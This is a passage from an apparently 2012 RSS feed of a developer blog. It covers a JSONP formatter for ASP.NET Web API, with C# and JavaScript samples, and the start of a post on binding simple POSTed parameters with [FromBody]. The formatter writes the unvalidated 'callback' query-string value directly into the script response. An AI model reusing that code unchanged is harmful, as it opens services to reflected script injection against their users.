However, if that URL lives on a separate server it won't be easily accessible to an AJAX request.&lt;/p&gt; &lt;p&gt;Now, if&amp;nbsp; the server can serve up JSONP this data can be accessed cross domain from a browser client. Using jQuery it's really easy to retrieve the same data with JSONP:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;function &lt;/span&gt;getAlbums() {
    $.getJSON(&lt;span style="color: maroon"&gt;"http://remotedomain/aspnetWebApi/albums?callback=?"&lt;/span&gt;,&lt;span style="color: blue"&gt;null&lt;/span&gt;,
              &lt;span style="color: blue"&gt;function &lt;/span&gt;(albums) {
                  alert(albums.length);
              });
}
&lt;/pre&gt;
&lt;p&gt;The resulting callback the same as if the call was to a local server when the data is returned. jQuery deserializes the data and feeds it into the method. Here the array is received and I simply echo back the number of items returned. From here your app is ready to use the data as needed.&lt;/p&gt;
&lt;h3&gt;What does JSONP look like?&lt;/h3&gt;
&lt;p&gt;JSONP is a pretty simple 'protocol'. All it does is wrap a JSON response with a JavaScript function call. The above result from the JSONP call looks like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;&lt;strong&gt;Query17103401925975181569_1333408916499( &lt;/strong&gt;[{"Id":"34043957","AlbumName":"Dirty Deeds Done Dirt Cheap"&lt;/code&gt;&lt;code&gt;,…&lt;/code&gt;&lt;code&gt;},{…}] &lt;strong&gt;)&lt;/strong&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The way JSONP works is that the client (jQuery in this case) sends of the request, receives the response and evals it. The eval basically executes the function and deserializes the JSON inside of the function passing the resulting object as a parameter. &lt;/p&gt;
&lt;h3&gt;How does JSONP work?&lt;/h3&gt;
&lt;p&gt;To understand how JSONP works, here's some plain JavaScript code that demonstrates the semantics: &lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;function &lt;/span&gt;jsonp(url, callback) {
    &lt;span style="color: #006400"&gt;// create a unique id
    &lt;/span&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;id = &lt;span style="color: maroon"&gt;"_" &lt;/span&gt;+ (&lt;span style="color: blue"&gt;new &lt;/span&gt;Date()).getTime();

    &lt;span style="color: #006400"&gt;// create a global callback handler
    &lt;/span&gt;window[id] = &lt;span style="color: blue"&gt;function &lt;/span&gt;(result) {
        &lt;span style="color: #006400"&gt;// forward the call to specified handler                                       
        &lt;/span&gt;&lt;span style="color: blue"&gt;if &lt;/span&gt;(callback)
            callback(result);
                    
        &lt;span style="color: #006400"&gt;// clean up: remove script and id
        &lt;/span&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;sc = document.getElementById(id);
        sc.parentNode.removeChild(sc);
        window[id] = &lt;span style="color: blue"&gt;null&lt;/span&gt;;
    }

    url = url.replace(&lt;span style="color: maroon"&gt;"callback=?"&lt;/span&gt;, &lt;span style="color: maroon"&gt;"callback=" &lt;/span&gt;+ id);
                
    &lt;span style="color: #006400"&gt;// create script tag that loads the 'JSONP script' 
    // and executes it calling window[id] function                
    &lt;/span&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;script = document.createElement(&lt;span style="color: maroon"&gt;"script"&lt;/span&gt;);
    script.setAttribute(&lt;span style="color: maroon"&gt;"id"&lt;/span&gt;, id);
    script.setAttribute(&lt;span style="color: maroon"&gt;"src"&lt;/span&gt;, url);
    script.setAttribute(&lt;span style="color: maroon"&gt;"type"&lt;/span&gt;, &lt;span style="color: maroon"&gt;"text/javascript"&lt;/span&gt;);
    document.body.appendChild(script);
}
&lt;/pre&gt;
&lt;p&gt;The code creates a script tag that basically loads the JSONP snippet and executed it executes it. The 'code' in this case is a function call, which here is a unique name of the function windows[id] I assigned to handle the callback. This method is fired and the JSON payload is converted to a JavaScript instance when it runs. This generic function then routes final result to the function that was passed in as a parameter which allows you just specify an anonymous function or a function delegate.&lt;/p&gt;
&lt;p&gt;To call this from any JavaScript code use the following code:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;function &lt;/span&gt;getAlbumsManual() {
    jsonp(&lt;span style="color: maroon"&gt;"http://rasXps/aspnetWebApi/albums?callback=?"&lt;/span&gt;,
          &lt;span style="color: blue"&gt;function &lt;/span&gt;(albums) {
              alert(albums.length);
          });
}
&lt;/pre&gt;
&lt;p&gt;This all works fine using either jQuery or this simple JSONP implementation - &lt;em&gt;as long as the server can serve the data with JSONP&lt;/em&gt;.&lt;/p&gt;
&lt;h3&gt;JSONP and ASP.NET Web API&lt;/h3&gt;
&lt;p&gt;As mentioned previously, &lt;em&gt;JSONP support is not natively in the box with ASP.NET Web API&lt;/em&gt;. But it's pretty easy to create and plug-in a custom formatter that provides this functionality.&lt;/p&gt;
&lt;p&gt;The following code is based on &lt;a href="https://github.com/thinktecture/Thinktecture.Web.Http/blob/master/Thinktecture.Web.Http/Formatters/JsonpFormatter.cs" target="_blank"&gt;Christian Weyer's example&lt;/a&gt; but has been updated to work with the latest &lt;a href="http://aspnetwebstack.codeplex.com/" target="_blank"&gt;Web API CodePlex bits&lt;/a&gt;, which changes the implementation a bit due to the way dependent objects are exposed differently in the latest builds.&lt;/p&gt;
&lt;p&gt;Here's the code:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;using &lt;/span&gt;System;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.IO;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.Net;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.Net.Http.Formatting;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.Net.Http.Headers;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.Threading.Tasks;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.Web;
&lt;span style="color: blue"&gt;using &lt;/span&gt;System.Net.Http;

&lt;span style="color: blue"&gt;namespace &lt;/span&gt;Westwind.Web.WebApi
{

    &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Handles JsonP requests when requests are fired with 
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;text/javascript or application/json and contain 
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;a callback= (configurable) query string parameter
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// 
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Based on Christian Weyers implementation
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;https://github.com/thinktecture/Thinktecture.Web.Http/blob/master/Thinktecture.Web.Http/Formatters/JsonpFormatter.cs
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
    &lt;/span&gt;&lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;JsonpFormatter &lt;/span&gt;: &lt;span style="color: #2b91af"&gt;JsonMediaTypeFormatter
    &lt;/span&gt;{                

        &lt;span style="color: blue"&gt;public &lt;/span&gt;JsonpFormatter()
        {
            SupportedMediaTypes.Add(&lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;MediaTypeHeaderValue&lt;/span&gt;(&lt;span style="color: #a31515"&gt;"application/json"&lt;/span&gt;));
            SupportedMediaTypes.Add(&lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;MediaTypeHeaderValue&lt;/span&gt;(&lt;span style="color: #a31515"&gt;"text/javascript"&lt;/span&gt;));            
            &lt;span style="color: green"&gt;//MediaTypeMappings.Add(new UriPathExtensionMapping("jsonp", "application/json"));
            
            &lt;/span&gt;JsonpParameterName = &lt;span style="color: #a31515"&gt;"callback"&lt;/span&gt;;
        }

        &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
        ///  &lt;/span&gt;&lt;span style="color: green"&gt;Name of the query string parameter to look for
        &lt;/span&gt;&lt;span style="color: gray"&gt;///  &lt;/span&gt;&lt;span style="color: green"&gt;the jsonp function name
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
        &lt;/span&gt;&lt;span style="color: blue"&gt;public string &lt;/span&gt;JsonpParameterName {&lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }

        &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
        /// &lt;/span&gt;&lt;span style="color: green"&gt;Captured name of the Jsonp function that the JSON call
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;is wrapped in. Set in GetPerRequestFormatter Instance
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
        &lt;/span&gt;&lt;span style="color: blue"&gt;private string &lt;/span&gt;JsonpCallbackFunction;


        &lt;span style="color: blue"&gt;public override bool &lt;/span&gt;CanWriteType(&lt;span style="color: #2b91af"&gt;Type &lt;/span&gt;type)
        {
            &lt;span style="color: blue"&gt;return true&lt;/span&gt;;
        }       

        &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
        /// &lt;/span&gt;&lt;span style="color: green"&gt;Override this method to capture the Request object
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;and look for the query string parameter and 
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;create a new instance of this formatter.
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// 
        /// &lt;/span&gt;&lt;span style="color: green"&gt;This is the only place in a formatter where the
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;Request object is available.
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name="type"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name="request"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name="mediaType"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
        &lt;/span&gt;&lt;span style="color: blue"&gt;public override &lt;/span&gt;&lt;span style="color: #2b91af"&gt;MediaTypeFormatter &lt;/span&gt;GetPerRequestFormatterInstance(&lt;span style="color: #2b91af"&gt;Type &lt;/span&gt;type, &lt;/pre&gt;&lt;pre class="code"&gt;                                                &lt;span style="color: #2b91af"&gt;HttpRequestMessage &lt;/span&gt;request, &lt;br&gt;                                                &lt;span style="color: #2b91af"&gt;MediaTypeHeaderValue &lt;/span&gt;mediaType)
        {       
            &lt;span style="color: blue"&gt;var &lt;/span&gt;formatter = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;JsonpFormatter&lt;/span&gt;() 
            {                 
                JsonpCallbackFunction = GetJsonCallbackFunction(request) 
            };
            
            &lt;span style="color: blue"&gt;return &lt;/span&gt;formatter;
        }
        
        &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
        /// &lt;/span&gt;&lt;span style="color: green"&gt;Override to wrap existing JSON result with the
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;JSONP function call
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
        /// &amp;lt;param name="type"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name="value"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name="stream"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name="contentHeaders"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;param name="transportContext"&amp;gt;&amp;lt;/param&amp;gt;
        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
        &lt;/span&gt;&lt;span style="color: blue"&gt;public override &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Task &lt;/span&gt;WriteToStreamAsync(&lt;span style="color: #2b91af"&gt;Type &lt;/span&gt;type, &lt;span style="color: blue"&gt;object &lt;/span&gt;value, &lt;span style="color: #2b91af"&gt;Stream &lt;/span&gt;stream,
                                                     &lt;span style="color: #2b91af"&gt;HttpContentHeaders &lt;/span&gt;contentHeaders,
                                                    &lt;span style="color: #2b91af"&gt;TransportContext &lt;/span&gt;transportContext)
        {                                     
            &lt;span style="color: blue"&gt;if &lt;/span&gt;(!&lt;span style="color: blue"&gt;string&lt;/span&gt;.IsNullOrEmpty(JsonpCallbackFunction))
            {
                &lt;span style="color: blue"&gt;return &lt;/span&gt;&lt;span style="color: #2b91af"&gt;Task&lt;/span&gt;.Factory.StartNew(() =&amp;gt;
                {
                    &lt;span style="color: blue"&gt;var &lt;/span&gt;writer = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;StreamWriter&lt;/span&gt;(stream);
                    writer.Write( JsonpCallbackFunction + &lt;span style="color: #a31515"&gt;"("&lt;/span&gt;);
                    writer.Flush();

                    &lt;span style="color: blue"&gt;base&lt;/span&gt;.WriteToStreamAsync(type, value, stream, contentHeaders,
                                            transportContext).Wait();

                    writer.Write(&lt;span style="color: #a31515"&gt;")"&lt;/span&gt;);
                    writer.Flush();
                });
            }
            &lt;span style="color: blue"&gt;else
            &lt;/span&gt;{
                &lt;span style="color: blue"&gt;return base&lt;/span&gt;.WriteToStreamAsync(type, value, stream, contentHeaders, transportContext);
            }
        }

        &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
        /// &lt;/span&gt;&lt;span style="color: green"&gt;Retrieves the Jsonp Callback function
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;from the query string
        &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
        /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
        &lt;/span&gt;&lt;span style="color: blue"&gt;private string &lt;/span&gt;GetJsonCallbackFunction(&lt;span style="color: #2b91af"&gt;HttpRequestMessage &lt;/span&gt;request)
        {
            &lt;span style="color: blue"&gt;if &lt;/span&gt;(request.Method != &lt;span style="color: #2b91af"&gt;HttpMethod&lt;/span&gt;.Get)
                &lt;span style="color: blue"&gt;return null&lt;/span&gt;;

            &lt;span style="color: blue"&gt;var &lt;/span&gt;query = &lt;span style="color: #2b91af"&gt;HttpUtility&lt;/span&gt;.ParseQueryString(request.RequestUri.Query);
            &lt;span style="color: blue"&gt;var &lt;/span&gt;queryVal = query[&lt;span style="color: blue"&gt;this&lt;/span&gt;.JsonpParameterName];

            &lt;span style="color: blue"&gt;if &lt;/span&gt;(&lt;span style="color: blue"&gt;string&lt;/span&gt;.IsNullOrEmpty(queryVal))
                &lt;span style="color: blue"&gt;return null&lt;/span&gt;;

            &lt;span style="color: blue"&gt;return &lt;/span&gt;queryVal;
        }
    }
}
&lt;/pre&gt;
&lt;p&gt;Note again that this code will not work with the Beta bits of Web API - it works only with post beta bits from CodePlex and hopefully this will continue to work until RTM :-)&lt;/p&gt;
&lt;p&gt;This code is a bit different from Christians original code as the API has changed. The biggest change is that the Read/Write functions no longer receive a global context object that gives access to the Request and Response objects as the older bits did.&lt;/p&gt;
&lt;p&gt;Instead you now have to override the GetPerRequestFormatterInstance() method, which receives the Request as a parameter. You can capture the Request there, or use the request to pick up the values you need and store them on the formatter. Note that I also have to create a new instance of the formatter since I'm storing request specific state on the instance (information whether the callback= querystring is present) so I return a new instance of this formatter. &lt;/p&gt;
&lt;p&gt;Other than that the code should be straight forward: The code basically writes out the function pre- and post-amble and the defers to the base stream to retrieve the JSON to wrap the function call into. The code uses the Async APIs to write this data out (this will take some getting used to seeing all over the place for me).&lt;/p&gt;
&lt;h3&gt;Hooking up the JsonpFormatter&lt;/h3&gt;
&lt;p&gt;Once you've created a formatter, it has to be added to the request processing sequence by adding it to the formatter collection. Web API is configured via the static GlobalConfiguration object.&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;protected void &lt;/span&gt;Application_Start(&lt;span style="color: blue"&gt;object &lt;/span&gt;sender, &lt;span style="color: #2b91af"&gt;EventArgs &lt;/span&gt;e)
{

&lt;pre class="code"&gt;&lt;span style="color: green"&gt;   // Verb Routing 
&lt;/span&gt;&lt;span style="color: #2b91af"&gt;   RouteTable&lt;/span&gt;.Routes.MapHttpRoute(
        name: &lt;span style="color: #a31515"&gt;"AlbumsVerbs"&lt;/span&gt;,
        routeTemplate: &lt;span style="color: #a31515"&gt;"albums/{title}"&lt;/span&gt;,
        defaults: &lt;span style="color: blue"&gt;new
        &lt;/span&gt;{
            title = &lt;span style="color: #2b91af"&gt;RouteParameter&lt;/span&gt;.Optional,
            controller = &lt;span style="color: #a31515"&gt;"AlbumApi"                   
        &lt;/span&gt;}
    );
&lt;/pre&gt;&lt;/pre&gt;&lt;pre class="code"&gt;&lt;strong&gt;&lt;span style="color: #2b91af"&gt;    GlobalConfiguration
        &lt;/span&gt;.Configuration
        .Formatters
        .Insert(0, &lt;span style="color: blue"&gt;new &lt;/span&gt;Westwind.Web.WebApi.&lt;span style="color: #2b91af"&gt;JsonpFormatter&lt;/span&gt;());&lt;/strong&gt;

&lt;/pre&gt;&lt;pre class="code"&gt;}
&lt;pre class="code"&gt;&amp;nbsp;&lt;/pre&gt;&lt;/pre&gt;
&lt;p&gt;That's all it takes. &lt;/p&gt;
&lt;p&gt;Note that I added the formatter at the top of the list of formatters, rather than adding it to the end which is required. The JSONP formatter needs to fire before any other JSON formatter since it relies on the JSON formatter to encode the actual JSON data. If you reverse the order the JSONP output never shows up. So, in general when adding new formatters also try to be aware of the order of the formatters as they are added.&lt;/p&gt;
&lt;h3&gt;Resources&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://github.com/RickStrahl/AspNetWebApiArticle/blob/WebAPI_RC_CHANGES/AspNetWebApi/Code/WebApi/Formatters/JsonpFormatter.cs" target="_blank"&gt;&lt;strong&gt;JsonpFormatter Code on GitHub&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=Web Api'&gt;Web Api&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Creating a JSONP Formatter for ASP.NET Web API" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/Apr/02/Creating-a-JSONP-Formatter-for-ASPNET-Web-API"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/Apr/02/Creating-a-JSONP-Formatter-for-ASPNET-Web-API" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=EBaQanKe044:7w9X-rHVnpA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=EBaQanKe044:7w9X-rHVnpA:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=EBaQanKe044:7w9X-rHVnpA:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=EBaQanKe044:7w9X-rHVnpA:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=EBaQanKe044:7w9X-rHVnpA:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=EBaQanKe044:7w9X-rHVnpA:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=EBaQanKe044:7w9X-rHVnpA:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=EBaQanKe044:7w9X-rHVnpA:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=EBaQanKe044:7w9X-rHVnpA:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/EBaQanKe044" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/Apr/02/Creating-a-JSONP-Formatter-for-ASPNET-Web-API</feedburner:origLink></item>
    <item>
      <title>ASP.NET Web API and Simple Value Parameters from POSTed data</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/dSrsDmVNVmc/ASPNET-Web-API-and-Simple-Value-Parameters-from-POSTed-data</link>
      <guid isPermaLink="false">1302755_201203220005</guid>
      <pubDate>Thu, 22 Mar 2012 00:05:29 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Mar/21/ASPNET-Web-API-and-Simple-Value-Parameters-from-POSTed-data#Comments</comments>
      <slash:comments>7</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1302755</wfw:commentRss>
      <category>Web Api</category>
      <description>&lt;p&gt;In testing out various features of Web API I've found a few oddities in the way that the serialization is handled. These are probably not super common but they may throw you for a loop. Here's what I found.&lt;/p&gt; &lt;h3&gt;Simple Parameters from Xml or JSON Content&lt;/h3&gt; &lt;p&gt;Web API makes it very easy to create action methods that accept parameters that are automatically parsed from XML or JSON request bodies. For example, you can send a JavaScript JSON object to the server and Web API happily deserializes it for you.&lt;/p&gt; &lt;p&gt;This works just fine:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public string &lt;/span&gt;ReturnAlbumInfo(&lt;span style="color: #2b91af"&gt;Album &lt;/span&gt;album)
{
    &lt;span style="color: blue"&gt;return &lt;/span&gt;album.AlbumName + &lt;span style="color: #a31515"&gt;" (" &lt;/span&gt;+ album.YearReleased.ToString() + &lt;span style="color: #a31515"&gt;")"&lt;/span&gt;;
}&lt;/pre&gt;
&lt;p&gt;However, if you have methods that accept simple parameter types like strings, dates, number etc., those methods don't receive their parameters from XML or JSON body by default and you may end up with failures. Take the following two very simple methods:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public string  &lt;/span&gt;ReturnString(&lt;span style="color: blue"&gt;string &lt;/span&gt;message)
{            
    &lt;span style="color: blue"&gt;return &lt;/span&gt;message;
}

&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpResponseMessage &lt;/span&gt;ReturnDateTime(&lt;span style="color: #2b91af"&gt;DateTime &lt;/span&gt;time)
{
    &lt;span style="color: blue"&gt;return &lt;/span&gt;Request.CreateResponse&amp;lt;&lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;&amp;gt;(&lt;span style="color: #2b91af"&gt;HttpStatusCode&lt;/span&gt;.OK, time);
}&lt;/pre&gt;
&lt;p&gt;The first one accepts a string and if called with a JSON string from the client like this:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;client = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpClient&lt;/span&gt;();
&lt;span style="color: blue"&gt;var &lt;/span&gt;result = client.PostAsJsonAsync&amp;lt;&lt;span style="color: blue"&gt;string&lt;/span&gt;&amp;gt;(&lt;span style="color: #a31515"&gt;&lt;a href="http://rasxps/AspNetWebApi/albums/rpc/ReturnString"&gt;http://rasxps/AspNetWebApi/albums/rpc/ReturnString&lt;/a&gt;&lt;/span&gt;,&lt;/pre&gt;&lt;pre class="code"&gt;                                            &lt;span style="color: #a31515"&gt;"Hello World"&lt;/span&gt;).Result;&lt;/pre&gt;
&lt;p&gt;which results in a trace like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;POST &lt;/strong&gt;&lt;a href="http://rasxps/AspNetWebApi/albums/rpc/ReturnString"&gt;&lt;strong&gt;http://rasxps/AspNetWebApi/albums/rpc/ReturnString&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; HTTP/1.1&lt;br&gt;Content-Type: application/json; charset=utf-8&lt;br&gt;Host: rasxps&lt;br&gt;Content-Length: 13&lt;br&gt;Expect: 100-continue&lt;br&gt;Connection: Keep-Alive&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;"Hello World"&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;produces… wait for it: &lt;strong&gt;null&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Sending a date in the same fashion:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;client = &lt;span style="color: blue"&gt;new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpClient&lt;/span&gt;();
&lt;span style="color: blue"&gt;var &lt;/span&gt;result = client.PostAsJsonAsync&amp;lt;&lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;&amp;gt;(&lt;span style="color: #a31515"&gt;&lt;a href="http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime"&gt;http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime&lt;/a&gt;&lt;/span&gt;, &lt;br&gt;&lt;span style="color: blue"&gt;                                              new &lt;/span&gt;&lt;span style="color: #2b91af"&gt;DateTime&lt;/span&gt;(2012, 1, 1)).Result;&lt;/pre&gt;
&lt;p&gt;results in this trace:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;POST &lt;/strong&gt;&lt;a href="http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime"&gt;&lt;strong&gt;http://rasxps/AspNetWebApi/albums/rpc/ReturnDateTime&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt; HTTP/1.1&lt;br&gt;Content-Type: application/json; charset=utf-8&lt;br&gt;Host: rasxps&lt;br&gt;Content-Length: 30&lt;br&gt;Expect: 100-continue&lt;br&gt;Connection: Keep-Alive&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;"\/Date(1325412000000-1000)\/"&lt;/strong&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;(yes still the ugly MS AJAX date, yuk! This will supposedly change by RTM with Json.net used for client serialization)&lt;/p&gt;
&lt;p&gt;produces an error response:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;The parameters dictionary contains a null entry for parameter 'time' of non-nullable type 'System.DateTime' for method 'System.Net.Http.HttpResponseMessage ReturnDateTime(System.DateTime)' in 'AspNetWebApi.Controllers.AlbumApiController'. An optional parameter must be a reference type, a nullable type, or be declared as an optional parameter.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Basically any simple parameters are not parsed properly resulting in null being sent to the method. For the string the call doesn't fail just producing &lt;em&gt;null&lt;/em&gt;, but for the non-nullable date it produces an error because the method can't handle a null value.&lt;/p&gt;
&lt;p&gt;This behavior is a bit unexpected to say the least, but there's a simple solution to make this work using an explicit &lt;strong&gt;[FromBody]&lt;/strong&gt; attribute:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public string  &lt;/span&gt;ReturnString(&lt;strong&gt;[&lt;span style="color: #2b91af"&gt;FromBody&lt;/span&gt;]&lt;/strong&gt; &lt;span style="color: blue"&gt;string &lt;/span&gt;message)
&lt;/pre&gt;
&lt;p&gt;and&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;HttpResponseMessage &lt;/span&gt;ReturnDateTime(&lt;strong&gt;[&lt;span style="color: #2b91af"&gt;FromBody&lt;/span&gt;]&lt;/strong&gt; &lt;span style="color: #2b91af"&gt;DateTime &lt;/span&gt;time)
&lt;/pre&gt;
&lt;p&gt;which explicitly instructs Web API to read the value from the body.&lt;/p&gt;
&lt;h3&gt;UrlEncoded Form Variable Parsing&lt;/h3&gt;
&lt;p&gt;&lt;font color="#c0504d" size="1"&gt;&lt;em&gt;updated 3/23/2012 with additional information about FormDataCollection&lt;/em&gt;&lt;/font&gt;&lt;/p&gt;
